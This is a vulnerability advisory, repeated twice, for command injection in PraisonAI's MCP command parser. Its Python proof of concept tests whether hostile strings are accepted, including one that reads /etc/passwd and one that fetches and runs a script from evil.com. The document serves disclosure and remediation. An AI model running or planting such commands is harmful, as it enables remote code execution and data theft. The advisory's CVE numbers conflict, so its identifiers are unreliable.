CVE-2026-41497

### Summary The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution. ### Affected Package - **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** < 47bff65413be - **Patched versions:** >= 47bff65413be ### Details The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments. The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands. Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parse_mcp_command() Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parse_mcp_command() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands. Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """ import sys import os import importlib.util # Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py" def load_mcp_handler(): """Load the real MCPHandler class from the vulnerable source.""" base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py" spec_base = importlib.util.spec_from_file_location("features_base", base_path) mod_base = importlib.util.module_from_spec(spec_base) sys.modules["features_base"] = mod_base with open(MCP_PATH) as f: source = f.read() source = source.replace("from .base import FlagHandler", """ class FlagHandler: def print_status(self, msg, level="info"): print(f"[{level}] {msg}") """) ns = {"__name__": "mcp_module", "__file__": MCP_PATH} exec(compile(source, MCP_PATH, "exec"), ns) return ns["MCPHandler"] def main(): MCPHandler = load_mcp_handler() handler = MCPHandler() print(f"Source file: {MCP_PATH}") print(f"Loaded MCPHandler from real PraisonAI source") print() malicious_commands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"child_process\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ] print("Testing parse_mcp_command with malicious inputs:") print() all_accepted = True for cmd_str in malicious_commands: try: cmd, args, env = handler.parse_mcp_command(cmd_str) print(f" Input: {cmd_str}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmd_str}") print(f" Result: REJECTED ({e})") all_accepted = False print() if all_accepted: print("ALL malicious commands accepted without validation!") print() with open(MCP_PATH) as f: source = f.read() has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower() has_basename_check = "os.path.basename" in source has_validation = has_allowlist or has_basename_check print(f"Has command allowlist: {has_allowlist}") print(f"Has basename check: {has_basename_check}") print(f"Has any command validation: {has_validation}") print() if not has_validation: print("COMMAND INJECTION: parse_mcp_command() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0) print("Some commands were rejected - validation present") sys.exit(1) if __name__ == "__main__": main() ``` **Steps to reproduce:** 1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real` 2. `cd /tmp/praisonai_real && git checkout 47bff654~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist. ``` ### Impact An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement. ### Suggested Remediation Implement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).

### Summary The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution. ### Affected Package - **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** < 47bff65413be - **Patched versions:** >= 47bff65413be ### Details The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments. The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands. Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parse_mcp_command() Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parse_mcp_command() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands. Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """ import sys import os import importlib.util # Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py" def load_mcp_handler(): """Load the real MCPHandler class from the vulnerable source.""" base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py" spec_base = importlib.util.spec_from_file_location("features_base", base_path) mod_base = importlib.util.module_from_spec(spec_base) sys.modules["features_base"] = mod_base with open(MCP_PATH) as f: source = f.read() source = source.replace("from .base import FlagHandler", """ class FlagHandler: def print_status(self, msg, level="info"): print(f"[{level}] {msg}") """) ns = {"__name__": "mcp_module", "__file__": MCP_PATH} exec(compile(source, MCP_PATH, "exec"), ns) return ns["MCPHandler"] def main(): MCPHandler = load_mcp_handler() handler = MCPHandler() print(f"Source file: {MCP_PATH}") print(f"Loaded MCPHandler from real PraisonAI source") print() malicious_commands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"child_process\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ] print(" Testing parse_mcp_command with malicious inputs:") print() all_accepted = True for cmd_str in malicious_commands: try: cmd, args, env = handler.parse_mcp_command(cmd_str) print(f" Input: {cmd_str}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmd_str}") print(f" Result: REJECTED ({e})") all_accepted = False print() if all_accepted: print("ALL malicious commands accepted without validation!") print() with open(MCP_PATH) as f: source = f.read() has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower() has_basename_check = "os.path.basename" in source has_validation = has_allowlist or has_basename_check print(f"Has command allowlist: {has_allowlist}") print(f" Has basename check: {has_basename_check}") print(f"Has any command validation: {has_validation}") print() if not has_validation: print("COMMAND INJECTION: parse_mcp_command() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0) print("Some commands were rejected - validation present") sys.exit(1) if __name__ == "__main__": main() ``` **Steps to reproduce:** 1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real` 2. `cd /tmp/praisonai_real && git checkout 47bff654~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist. ``` ### Impact An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement. ### Suggested Remediation Implement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).